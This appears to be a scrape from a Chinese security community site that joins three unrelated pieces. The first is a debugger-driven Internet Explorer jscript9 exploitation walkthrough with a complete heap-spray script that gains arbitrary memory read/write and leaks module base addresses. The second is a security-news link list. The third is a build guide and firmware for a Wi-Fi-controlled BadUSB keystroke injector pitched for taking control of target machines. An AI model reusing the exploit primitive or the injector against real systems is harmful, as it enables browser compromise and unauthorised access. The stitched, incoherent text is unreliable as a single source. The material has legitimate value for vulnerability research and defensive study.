eip=612bc16d esp=02e2ba20 ebp=02e2ba38 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
jscript9!Js::ArrayBuffer::NewInstance+0x8d:
612bc16d 5f pop edi
0:007> ln poi(eax)
(610f2bf8) jscript9!Js::JavascriptArrayBuffer::`vftable' | (612be1c8) jscript9!Js::CopyOnWriteObject<Js::TypedArray<bool>,Js::NoSpecialProperties>::`vftable'
Exact matches:
jscript9!Js::JavascriptArrayBuffer::`vftable' = <no type information>
0:007> dd eax l9
02452dc0 610f2bf8 022e9a20 00000000 00000003
02452dd0 087cc3c0 00000058 00000000 00000000
02452de0 02452e00
这里获得了第一次喷射中ArrayBuffer对象信息，布置的缓冲区地址为087cc3c0。
然后继续，当第二个弹窗出现时，下另外两个断点:
0:004> bl
0 e 612bc16d 0001 (0001) 0:**** jscript9!Js::ArrayBuffer::NewInstance+0x8d
1 e 61164589 0001 (0001) 0:**** jscript9!Js::JavascriptArray::DirectSetItem_Full+0x405
2 e 612bdae6 0001 (0001) 0:**** jscript9!Js::TypedArrayBase::CreateNewInstance+0x1f1
当第一次断在断点1时，esi存放了Array对象的地址:
0:007> g
Breakpoint 1 hit
eax=093b1010 ebx=00000000 ecx=00003bf8 edx=093b1010 esi=092b3ce0 edi=00003bf8
eip=61164589 esp=02e2b9c8 ebp=02e2b9fc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
jscript9!Js::JavascriptArray::DirectSetItem_Full+0x405:
61164589 894614 mov dword ptr [esi+14h],eax ds:0023:092b3cf4=610be460
0:007> ln poi(esi)
(610b2f78) jscript9!Js::JavascriptArray::`vftable' | (610b30e0) jscript9!Js::JavascriptError::`vftable'
Exact matches:
jscript9!Js::JavascriptArray::`vftable' = <no type information>
0:007> p
eax=093b1010 ebx=00000000 ecx=00003bf8 edx=093b1010 esi=092b3ce0 edi=00003bf8
eip=6116458c esp=02e2b9c8 ebp=02e2b9fc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
jscript9!Js::JavascriptArray::DirectSetItem_Full+0x408:
6116458c 8955e8 mov dword ptr [ebp-18h],edx ss:0023:02e2b9e4=00003bf8
0:007>
eax=093b1010 ebx=00000000 ecx=00003bf8 edx=093b1010 esi=092b3ce0 edi=00003bf8
eip=6116458f esp=02e2b9c8 ebp=02e2b9fc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
jscript9!Js::JavascriptArray::DirectSetItem_Full+0x40b:
6116458f 895618 mov dword ptr [esi+18h],edx ds:0023:092b3cf8=610be460
0:007>
eax=093b1010 ebx=00000000 ecx=00003bf8 edx=093b1010 esi=092b3ce0 edi=00003bf8
eip=61164592 esp=02e2b9c8 ebp=02e2b9fc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
jscript9!Js::JavascriptArray::DirectSetItem_Full+0x40e:
61164592 e90390f9ff jmp jscript9!Js::JavascriptArray::DirectSetItem_Full+0x23 (610fd59a)
0:007> dd esi
092b3ce0 610b2f78 022e9a40 00000000 00000003
092b3cf0 00003bf8 093b1010 093b1010 00000000
092b3d00 00000000 00000000 00000000 00000000
092b3d10 00000000 00000000 00000000 00000000
092b3d20 00000000 00000000 00000000 00000000
092b3d30 00000000 00000000 00000000 00000000
092b3d40 00000000 00000000 00000000 00000000
092b3d50 00000000 00000000 00000000 00000000
0:007> dd 093b1010
093b1010 00000000 00003bf8 00003bf8 00000000
093b1020 00000000 00000000 00000000 00000000
093b1030 00000000 00000000 00000000 00000000
093b1040 00000000 00000000 00000000 00000000
093b1050 00000000 00000000 00000000 00000000
093b1060 00000000 00000000 00000000 00000000
093b1070 00000000 00000000 00000000 00000000
093b1080 00000000 00000000 00000000 00000000
这里得到Array对象地址092b3ce0，数组地址093b1010，看到现在数组里还没有元素，但长度是我们设置的00003bf8，然后断在断点2时:
0:007> g
Breakpoint 2 hit
eax=092b70f0 ebx=02452dc0 ecx=02038678 edx=00000000 esi=088b9848 edi=00000016
eip=612bdae6 esp=02e2b9f0 ebp=02e2ba10 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
jscript9!Js::TypedArrayBase::CreateNewInstance+0x1f1:
612bdae6 8bf0 mov esi,eax
0:007> ln poi(eax)
(610b38c8) jscript9!Js::TypedArray<int>::`vftable' | (610b3a20) jscript9!Js::TypedArray<unsigned short>::`vftable'
Exact matches:
jscript9!Js::TypedArray<int>::`vftable' = <no type information>
得到Int32Array对象的地址092b70f0，断下三次后:
0:007> dd 092b70f0
092b70f0 610b38c8 022e9880 00000000 00000003 <= 第一次
092b7100 00000004 00000000 00000016 02038678
092b7110 02452dc0 00000000 00000000 00000000
092b7120 610b38c8 022e9880 00000000 00000003 <= 第二次
092b7130 00000004 00000000 00000016 02038678
092b7140 02452dc0 00000000 00000000 00000000
092b7150 610b38c8 022e9880 00000000 00000003 <= 第三次
092b7160 00000004 00000000 00000016 02038678
每个对象偏移0x18是数组大小，也就是ArrayBuffer的缓冲区0x58/4=0x16，偏移0x1c是我们第一次喷射得到的0x58
bytes的缓冲区地址，现在Array对象指向的数组:
0:007> dd 093b1010
093b1010 00000000 00003bf8 00003bf8 00000000
093b1020 092b70c0 092b70f0 092b7120 00000000
093b1030 00000000 00000000 00000000 00000000
093b1040 00000000 00000000 00000000 00000000
093b1050 00000000 00000000 00000000 00000000
093b1060 00000000 00000000 00000000 00000000
093b1070 00000000 00000000 00000000 00000000
093b1080 00000000 00000000 00000000 00000000
填入了三个Int32Array的地址。至于Array[0]处的092b70c0，是在创建Array对象之前构造的，不知道是什么原因。
第二次喷射中每块的大小可以这么计算:
0x3bf8 数组大小 * 4 bytes + 0x20 头部 + 0x55 * 0x30 每个Int32Array对象大小
= 0xfff0
Array在内存中是对齐的，所以每次实际喷射了0x10000 bytes。
喷射完后查看预测地址0c0a0000:
0c0a0000 00000000 0000eff0 00000000 00000000
0c0a0010 00000000 00003bf8 00003bf8 00000000
0c0a0020 0c09fa20 0c09fa50 0c09fa80 0c09fab0
0c0a0030 0c09fae0 0c09fb10 0c09fb40 0c09fb70
0c0a0040 0c09fba0 0c09fbd0 0c09fc00 0c09fc30
0c0a0050 0c09fc60 0c09fc90 0c09fcc0 0c09fcf0
0c0a0060 0c09fd20 0c09fd50 0c09fd80 0c09fdb0
0c0a0070 0c09fde0 0c09fe10 0c09fe40 0c09fe70
0c0a0080 0c09fea0 0c09fed0 0c09ff00 0c09ff30
0c0a0090 0c09ff60 0c09ff90 0c09ffc0 0c0af000
0c0a00a0 0c0af030 0c0af060 0c0af090 0c0af0c0
0c0a00b0 0c0af0f0 0c0af120 0c0af150 0c0af180
0c0a00c0 0c0af1b0 0c0af1e0 0c0af210 0c0af240
0c0a00d0 0c0af270 0c0af2a0 0c0af2d0 0c0af300
0c0a00e0 0c0af330 0c0af360 0c0af390 0c0af3c0
0c0a00f0 0c0af3f0 0c0af420 0c0af450 0c0af480
0c0a0100 0c0af4b0 0c0af4e0 0c0af510 0c0af540
0c0a0110 0c0af570 0c0af5a0 0c0af5d0 0c0af600
0c0a0120 0c0af630 0c0af660 0c0af690 0c0af6c0
0c0a0130 0c0af6f0 0c0af720 0c0af750 0c0af780
0c0a0140 0c0af7b0 0c0af7e0 0c0af810 0c0af840
0c0a0150 0c0af870 0c0af8a0 0c0af8d0 0c0af900
0c0a0160 0c0af930 0c0af960 0c0af990 0c0af9c0
0c0a0170 0c0af9f0 00000000 00000000 00000000
可以在偏移0x3bf8*4处找到Int32Array对象:
0c0aefe0 00000000 00000000 00000000 00000000
0c0aeff0 00000000 00000000 00000000 00000000
0c0af000 610b38c8 022e9880 00000000 00000003 <= Int32Array
0c0af010 00000004 00000000 00000016 02038678
0c0af020 02452dc0 00000000 00000000 00000000
0c0af030 610b38c8 022e9880 00000000 00000003
喷射布局:
0x0: ArrayDataHead
0x20: array[0] address
0x24: array[1] address
...
0xeff0c array[3bf7] address
0xf000: Int32Array
0xf030: Int32Array
...
0xffc0: Int32Array
0xfff0: align data
##
## 改写一字节
假设我们通过某个漏洞能够修改指定地址的一字节值，那么如果修改了0c0af01b的一字节，假设改为了20，那么数组长度就会变成20000016，那么就可以读写02038678往后的20000016*4字节的空间，调试的时候选择在Second
Done弹窗后手动修改0c0af018处的值为20000016。
修改完后可以使用下面的代码找到我们修改的对象:
int32array = 0;
for (var i = 0x200; i < 0x200 + 0x400; +i) {
for (var j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
alert("Not found");
window.location.reload();
return;
}
alert("Done");
由于我们喷射的ArrayBuffer的空间是处于LargeHeapBlock之间的，所以首先可以获取LargeHeapBlock对象的虚表地址，这样就可以确定模块基地址，我们还知道LargeHeapBlock对象是链表的形式在内存中，所以可以通过链表指针来验证ArrayBuffer的位置是否正确，每个LargeHeapBlock对象偏移0x24处指针指向下一个对象:
02388a08 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02388a28 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02388a48 00000000 00000000 00000000 00000000 00000000 00000000 5f143c14 8c000000
02388a68 609e1c7c 00000003 04ac0000 00000010 00000001 00000000 00000004 04acf020 <= LargeHeapBlock
02388a88 04ad0000 02388ac8 00000000 00000001 00000001 00000000 022fac28 04ac0000
02388aa8 00000000 00000000 00000000 00000004 00000001 80000000 5f143c00 8c000000
02388ac8 609e1c7c 00000003 04ad0000 00000010 00000001 00000000 00000004 04adf020 <= LargeHeapBlock
02388ae8 04ae0000 02388b28 00000000 00000001 00000001 00000000 022fac28 04ad0000
02388b08 00000000 00000000 00000000 00000004 00000001 00000000 5f143c3c 8c000000
02388b28 609e1c7c 00000003 04d10000 00000010 00000001 00000000 00000004 04d1f020 <= LargeHeapBlock
02388b48 04d20000 02388b88 00000000 00000001 00000001 00000000 022fac60 04d10000
02388b68 00000000 00000000 00000000 00000004 00000001 00000000 5f143c28 8c000000
这样也可以验证我们的喷射是否成功，代码如下:
var vfptr1 = int32array[0x60/4];
var vfptr2 = int32array[0x60*2/4];
var vfptr3 = int32array[0x60*3/4];
var nextPtr1 = int32array[(0x60+0x24)/4];
var nextPtr2 = int32array[(0x60*2+0x24)/4];
var nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vfptr1 & 0xffff != 0x1c7c || vfptr1 != vfptr2 || vfptr2 != vfptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
alert("Error!");
window.location.reload();
return;
}
var buf_addr = nextPtr1 - 0x60*2;
alert("Done");
alert(buf_addr);
经过几次页面的刷新，最终得到了buf_addr的地址01eb44b0，在调试器里验证与之一致:
01eb44b0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01eb44d0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01eb44f0 00000000 00000000 00000000 00000000 00000000 00000000 1cba62e6 8c00203d
01eb4510 630d1c7c 00000003 0ce40000 00000010 00000001 00000000 00000004 0ce4f020
##
## 任意地址读写
下一步需要改写0c0af01c处的ArrayBuffer地址为0，这样就可以实现全地址空间读写，目前脚本如下:
<html>
<head>
<script language="javascript">
(function() {
CollectGarbage();
alert("Start");
var a = new Array();
for (var i = 0; i < 0x200; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x80)
buf = new ArrayBuffer(0x58);
for (var j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
alert("First Done");
for (; i < 0x200 + 0x400; ++i) {
a[i] = new Array(0x3bf8);
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf);
}
alert("Second Done");
int32array = 0;
for (var i = 0x200; i < 0x200 + 0x400; ++i) {
for (var j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
alert("Not found");
window.location.reload();
return;
}
alert("found");
var vfptr1 = int32array[0x60/4];
var vfptr2 = int32array[0x60*2/4];
var vfptr3 = int32array[0x60*3/4];
var nextPtr1 = int32array[(0x60+0x24)/4];
var nextPtr2 = int32array[(0x60*2+0x24)/4];
var nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vfptr1 & 0xffff != 0x1c7c || vfptr1 != vfptr2 || vfptr2 != vfptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
alert("Error!");
window.location.reload();
return;
}
var buf_addr = nextPtr1 - 0x60*2;
alert("Third Done");
alert(buf_addr);
if (int32array[(0x0c0af000+0x1c-buf_addr)/4] != buf_addr) {
alert("Error");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18-buf_addr)/4] = 0x20000000; // length
int32array[(0x0c0af000+0x1c-buf_addr)/4] = 0; // new ArrayBuffer addr
alert("Fourth Done");
})();
</script>
</head>
<body>
</body>
</html>
改写后可以读写全地址空间，但读写地址时需要是4的倍数，需要实现读写函数解决地址不是4倍数的情况:
function read(address) {
var k = address & 3;
if (k == 0) {
return int32array[address/4];
} else {
alert("to debug");
return (int32array[(address-k)/4]>>k*8 | (int32array[(address-k+4)/4] << (32-k*8)));
}
}
function write(address,value) {
var k = address & 3;
if (k == 0) {
int32array[address/4] = value;
} else {
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1<<k*8)-1;
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
##
## 泄露对象地址
为了确定模块的基地址，还需要能够得到任意对象的地址，这里利用到了Array数组，把一个对象赋给数组的最后一个元素，然后通过读地址读出对象的地址。具体实现如下:
for (var i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
write(0x0c0af000-4,3);
leakArray = 0;
for (var i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0){
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
alert("Error");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4);
}
首先把每个Array的最后一个元素置0，然后把0x0c0a0000处的数组最后一个元素置为3，然后找到这个数组，把对象的引用赋值给数组最后一个元素，再用read函数读出来。比如可以这样确定jscript9和mshtml的基地址:
jscript9的地址可以通过Int32Array的虚表计算:
0:017> lmm jscript9
start end module name
630d0000 63392000 jscript9 (pdb symbols) c:\symbols\jscript9.pdb\6E55E6B5AC4B4699BFCF4B58510435202\jscript9.pdb
0:017> ln 630d38c8
(630d38c8) jscript9!Js::TypedArray<int>::`vftable' | (630d3a20) jscript9!Js::TypedArray<unsigned short>::`vftable'
Exact matches:
jscript9!Js::TypedArray<int>::`vftable' = <no type information>
0:017> ? 630d38c8-630d0000
Evaluate expression: 14536 = 000038c8
先通过数组，先看看div对象:
leakArray[0x3bf7] = document.createElement("div");
得到的div对象:
0529a0c0 630d2ad0 jscript9!Js::CustomExternalObject::`vftable'
0529a0c4 0ce5adc0
0529a0c8 00000000
0529a0cc 00000003
0529a0d0 6372d05d MSHTML!CBaseTypeOperations::CBaseFinalizer
0529a0d4 00000000
0529a0d8 02531ff0
0529a0dc 00000000
...
偏移0x10处是CBaseTypeOperations::CBaseFinalizer对象，可以用这个来计算mshtml的基地址:
0:002> ln 6372d05d
(6372d05d) MSHTML!CBaseTypeOperations::CBaseFinalizer | (6372d11a) MSHTML!CElement::JSBind_Unroot
Exact matches:
MSHTML!CBaseTypeOperations::CBaseFinalizer = <no type information>
0:002> lmm mshtml
start end module name
636f0000 644ad000 MSHTML (pdb symbols) c:\symbols\mshtml.pdb\98191859560C471FB6BA0B1D33DAACCB2\mshtml.pdb
0:002> ? 6372d05d-636f0000
Evaluate expression: 249949 = 0003d05d
综合如下:
var jscript9 = read(0x0c0af000) - 0x38c8;
var addr = get_addr(document.createElement("div"));
var mshtml = read(addr + 0x10) - 0x3d05d;
得到结果:
mshtml at: 636f0000
jscript9 at: 630d0000
与实际结果一致:
0:005> lmm mshtml
start end module name
636f0000 644ad000 MSHTML (deferred)
0:005> lmm jscript9
start end module name
630d0000 63392000 jscript9 (pdb symbols) c:\symbols\jscript9.pdb\6E55E6B5AC4B4699BFCF4B58510435202\jscript9.pdb
## 总结
脚本总结如下:
<html>
<head>
<script language="javascript">
(function() {
CollectGarbage();
alert("Start");
var a = new Array();
for (var i = 0; i < 0x200; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x80)
buf = new ArrayBuffer(0x58);
for (var j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
alert("First Done");
for (; i < 0x200 + 0x400; ++i) {
a[i] = new Array(0x3bf8);
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf);
}
alert("Second Done");
int32array = 0;
for (var i = 0x200; i < 0x200 + 0x400; ++i) {
for (var j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
alert("Not found");
window.location.reload();
return;
}
alert("found");
var vfptr1 = int32array[0x60/4];
var vfptr2 = int32array[0x60*2/4];
var vfptr3 = int32array[0x60*3/4];
var nextPtr1 = int32array[(0x60+0x24)/4];
var nextPtr2 = int32array[(0x60*2+0x24)/4];
var nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vfptr1 & 0xffff != 0x1c7c || vfptr1 != vfptr2 || vfptr2 != vfptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
alert("Error!");
window.location.reload();
return;
}
var buf_addr = nextPtr1 - 0x60*2;
alert("Third Done");
alert(buf_addr);
if (int32array[(0x0c0af000+0x1c-buf_addr)/4] != buf_addr) {
alert("Error");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18-buf_addr)/4] = 0x20000000; // length
int32array[(0x0c0af000+0x1c-buf_addr)/4] = 0; // new ArrayBuffer addr
alert("Fourth Done");
function read(address) {
var k = address & 3;
if (k == 0) {
return int32array[address/4];
} else {
alert("to debug");
return (int32array[(address-k)/4]>>k*8 | (int32array[(address-k+4)/4] << (32-k*8)));
}
}
function write(address,value) {
var k = address & 3;
if (k == 0) {
int32array[address/4] = value;
} else {
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1<<k*8)-1;
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
for (var i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
write(0x0c0af000-4,3);
leakArray = 0;
for (var i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0){
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
alert("Error");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4);
}
alert("Fifth Done");
var jscript9 = read(0x0c0af000) - 0x38c8;
var addr = get_addr(document.createElement("div"));
var mshtml = read(addr + 0x10) - 0x3d05d;
document.write("mshtml at: "+mshtml.toString(16));
document.write("<br>");
document.write("jscript9 at: "+jscript9.toString(16));
})();
</script>
</head>
<body>
</body>
</html>
这是通用的方法，稍加修改就可以放在exp中实现任意地址的读写。 | 社区文章 |
# 【知识】8月25日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：安全研究人员发布iOS内核漏洞的漏洞利用代码、由正则引起的Wecenter拒绝服务漏洞、渗透测试常用脚本收集、0patching福昕阅读器的漏洞（CVE-2017-10952）、Knock
Subdomain Scan v.4.1.0（子域名扫描器）、CTF Writeup – Flare-On 2016 – 10: flava。**
**资讯类：**
安全研究人员发布iOS内核漏洞的漏洞利用代码
<https://www.bleepingcomputer.com/news/security/researcher-releases-fully-working-exploit-code-for-ios-kernel-vulnerability/>
**技术类：**
****
DeLuxe版本：在eLux Thin 客户机操作系统上获取root权限
<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/delux-edition-getting-root-privileges-on-the-elux-thin-client-os/>
利用xwizard.exe加载dll
<http://www.4hou.com/technology/6969.html>
由正则引起的Wecenter拒绝服务漏洞
<http://www.0aa.me/index.php/archives/139/>
comission: 白盒CMS分析
<https://github.com/Intrinsec/comission>
<https://securite.intrinsec.com/2017/08/16/comission-whitebox-cms-analysis/>
0patching福昕阅读器的漏洞（CVE-2017-10952）
<https://0patch.blogspot.com/2017/08/0patching-foxit-readers-saveas-0day-cve.html>
Knock Subdomain Scan v.4.1.0（子域名扫描器）
<https://github.com/guelfoweb/knock>
MFA Slipstream：用于O365钓鱼多因子认证的PoC
<https://github.com/decidedlygray/mfa_slipstream_poc/>
CTF Writeup – Flare-On 2016 – 10: flava
<http://vulnerablespace.blogspot.jp/2016/11/ctf-writeup-flare-on-2016-10-flava.html>
UMCI与Internet Explorer：探索CVE-2017-8625
<https://posts.specterops.io/umci-vs-internet-explorer-exploring-cve-2017-8625-3946536c6442>
Salamandra：封闭环境中检测和定位spy microphones的工具
<https://github.com/eldraco/Salamandra>
DECONSTRUCTING A WINNING WEBKIT PWN2OWN ENTRY
<https://www.zerodayinitiative.com/blog/2017/8/24/deconstructing-a-winning-webkit-pwn2own-entry>
Needle in a haystack of .jar files [username enumeration]
<http://sheepsec.com/blog/username_enumeration_via_jar.html>
pentest-tools：渗透测试常用脚本收集
<https://github.com/gwen001/pentest-tools>
The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares
Similarities with 2012 Capstone Turbine Activity
<https://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve-2014-0322-attack-shares-similarities-2012/>
WMI查询：ReturnValue vs uValue（和一些远程注册表）
<https://blogs.technet.microsoft.com/positivesecurity/2017/08/24/wmi-queries-returnvalue-vs-uvalue-and-some-remote-registry/>
Guilt by Association: Large Scale Malware Detection by Mining File-relation
Graphs
<https://www.cc.gatech.edu/~dchau/papers/14_kdd_aesop.pdf>
分析Ruby中内存使用的Crash案例
<https://robots.thoughtbot.com/a-crash-course-in-analyzing-memory-usage-in-ruby> | 社区文章 |
**1、介绍WIFI DUCKY**
它是一个Wi-Fi控制的BadUSB设备来远程执行Ducky Scripts。
使用充当键盘的USB设备来注入攻击，Hak5 的 [USB Rubber Ducky](https://hakshop.com/products/usb-rubber-ducky-deluxe) 是这种攻击的黑客小工具。它引入了一个简单的脚本语言，称为Ducky Script，这个项目也是这样使用的。
该设备使用 ESP8266 + ATMEGA32U4 创建WIFI信号，进行远程上传、保存和运行脚本进行攻击
但是为什么要添加Wi-Fi，你可能会问。
使用Wi-Fi，您可以远程上传并运行Ducky Script。
只需将设备插入，连接到其Wi-Fi网络，即可完全控制目标机器。
它还给你一个比其他BadUSB更大的优势，你可以测试你的脚本！您不需要将它们复制到micro-sd卡或编译它们。您可以通过web界面直接运行它们，这使得它非常容易测试和改进脚本。
它还为不同的攻击增加了很多可能性。您可以使目标从Wi-Fi网络下载可执行文件，而不是互联网。或者执行不同的攻击并将结果发回。或者打开ESP8266s Wi-Fi上的反向Shell。
等等...有这么多的可能性，赶快动手做起来吧！
[
**2、所需材料：**
> 1.CJMCU-Beetle Leonardo USB ATMEGA32U4
>
> 2.ESP8266-12F
>
> 3.AMS1117-3.3V电源模块
**3、所需软件：**
> **ARDUINO IDE** 下载地址：<https://www.arduino.cc/en/Main/Software>
>
> **NodeMCU Flasher** 下载地址：<https://github.com/nodemcu/nodemcu-flasher>
**4、接线图：**
[
[
[
**5、写入固件到ESP8266**
首先，然后将下列代码上传到Arduino：
int program_pin = 12;
int enable_pin = 13;
void setup()
{
Serial1.begin(115200);
Serial.begin(115200);
pinMode(enable_pin, OUTPUT);
pinMode(program_pin, OUTPUT);
digitalWrite(program_pin, LOW);
digitalWrite(enable_pin,HIGH);
}
void loop()
{
while(Serial1.available()){
Serial.write((uint8_t)Serial1.read());
}
if(Serial.available()){
while(Serial.available()){
Serial1.write((uint8_t)Serial.read());
}
}
}
将设备连接PC，打开Arduino IDE，选择开发板和端口
[
然后点击 上传 将代码写入Arduino
[
写入成功后，前往 <https://github.com/spacehuhn/wifi_ducky/releases> 下载
**esp8266_wifi_duck_4mb.bin** 固件
我编译的中文web界面固件
[点击下载](http://files.cnblogs.com/files/k1two2/esp8266_wifi_duck_4mb_zh.zip)
然后打开 NodeMCU Flasher 写入软件
[
将参数设置如下
[
然后选择固件
[
选择端口，点击 Flash 开始写入固件
[
[
**写入完成后需要将 GPIO0 的线断开，变成如下的接线，即可进行下一步写入代码**
[
**6、写入代码到ATMEGA32U4**
#include <Keyboard.h>
#define BAUD_RATE 57200
#define ExternSerial Serial1
String bufferStr = "";
String last = "";
int defaultDelay = 0;
void Line(String _line)
{
int firstSpace = _line.indexOf(" ");
if(firstSpace == -1) Press(_line);
else if(_line.substring(0,firstSpace) == "STRING"){
for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]);
}
else if(_line.substring(0,firstSpace) == "DELAY"){
int delaytime = _line.substring(firstSpace + 1).toInt();
delay(delaytime);
}
else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt();
else if(_line.substring(0,firstSpace) == "REM"){} //nothing :/
else if(_line.substring(0,firstSpace) == "REPLAY") {
int replaynum = _line.substring(firstSpace + 1).toInt();
while(replaynum)
{
Line(last);
--replaynum;
}
} else{
String remain = _line;
while(remain.length() > 0){
int latest_space = remain.indexOf(" ");
if (latest_space == -1){
Press(remain);
remain = "";
}
else{
Press(remain.substring(0, latest_space));
remain = remain.substring(latest_space + 1);
}
delay(5);
}
}
Keyboard.releaseAll();
delay(defaultDelay);
}
void Press(String b){
if(b.length() == 1) Keyboard.press(char(b[0]));
else if (b.equals("ENTER")) Keyboard.press(KEY_RETURN);
else if (b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
else if (b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
else if (b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
else if (b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
else if (b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW);
else if (b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW);
else if (b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW);
else if (b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW);
else if (b.equals("DELETE")) Keyboard.press(KEY_DELETE);
else if (b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
else if (b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
else if (b.equals("HOME")) Keyboard.press(KEY_HOME);
else if (b.equals("ESC")) Keyboard.press(KEY_ESC);
else if (b.equals("BACKSPACE")) Keyboard.press(KEY_BACKSPACE);
else if (b.equals("INSERT")) Keyboard.press(KEY_INSERT);
else if (b.equals("TAB")) Keyboard.press(KEY_TAB);
else if (b.equals("END")) Keyboard.press(KEY_END);
else if (b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
else if (b.equals("F1")) Keyboard.press(KEY_F1);
else if (b.equals("F2")) Keyboard.press(KEY_F2);
else if (b.equals("F3")) Keyboard.press(KEY_F3);
else if (b.equals("F4")) Keyboard.press(KEY_F4);
else if (b.equals("F5")) Keyboard.press(KEY_F5);
else if (b.equals("F6")) Keyboard.press(KEY_F6);
else if (b.equals("F7")) Keyboard.press(KEY_F7);
else if (b.equals("F8")) Keyboard.press(KEY_F8);
else if (b.equals("F9")) Keyboard.press(KEY_F9);
else if (b.equals("F10")) Keyboard.press(KEY_F10);
else if (b.equals("F11")) Keyboard.press(KEY_F11);
else if (b.equals("F12")) Keyboard.press(KEY_F12);
else if (b.equals("SPACE")) Keyboard.press(' ');
//else Serial.println("not found :'"+b+"'("+String(b.length())+")");
}
void setup() {
Serial.begin(BAUD_RATE);
ExternSerial.begin(BAUD_RATE);
pinMode(13,OUTPUT);
digitalWrite(13,HIGH);
Keyboard.begin();
}
void loop() {
if(ExternSerial.available()) {
bufferStr = ExternSerial.readStringUntil("END");
Serial.println(bufferStr);
}
if(bufferStr.length() > 0){
bufferStr.replace("\r","\n");
bufferStr.replace("\n\n","\n");
while(bufferStr.length() > 0){
int latest_return = bufferStr.indexOf("\n");
if(latest_return == -1){
Serial.println("run: "+bufferStr);
Line(bufferStr);
bufferStr = "";
} else{
Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'");
Line(bufferStr.substring(0, latest_return));
last=bufferStr.substring(0, latest_return);
bufferStr = bufferStr.substring(latest_return + 1);
}
}
bufferStr = "";
ExternSerial.write(0x99);
Serial.println("done");
}
}
[
等提示 写入成功，把设备拔出，重新连接PC
[
**7、如何使用它**
这时用手机搜索WIFI会找到
[
WIFI： _WIFI DUCK_ PASSWD: _quackquack_
[
打开浏览器，输入 <http://192.168.4.1> 进入管理地址
[
[
[
在这里，你可以上传，查看，删除和运行新的Ducky Scripts。
**请注意，脚本的每行最大长度为600个字符。**
如何写Ducky Scripts：<https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript>
**8、通过Web界面更新ESP8266固件**
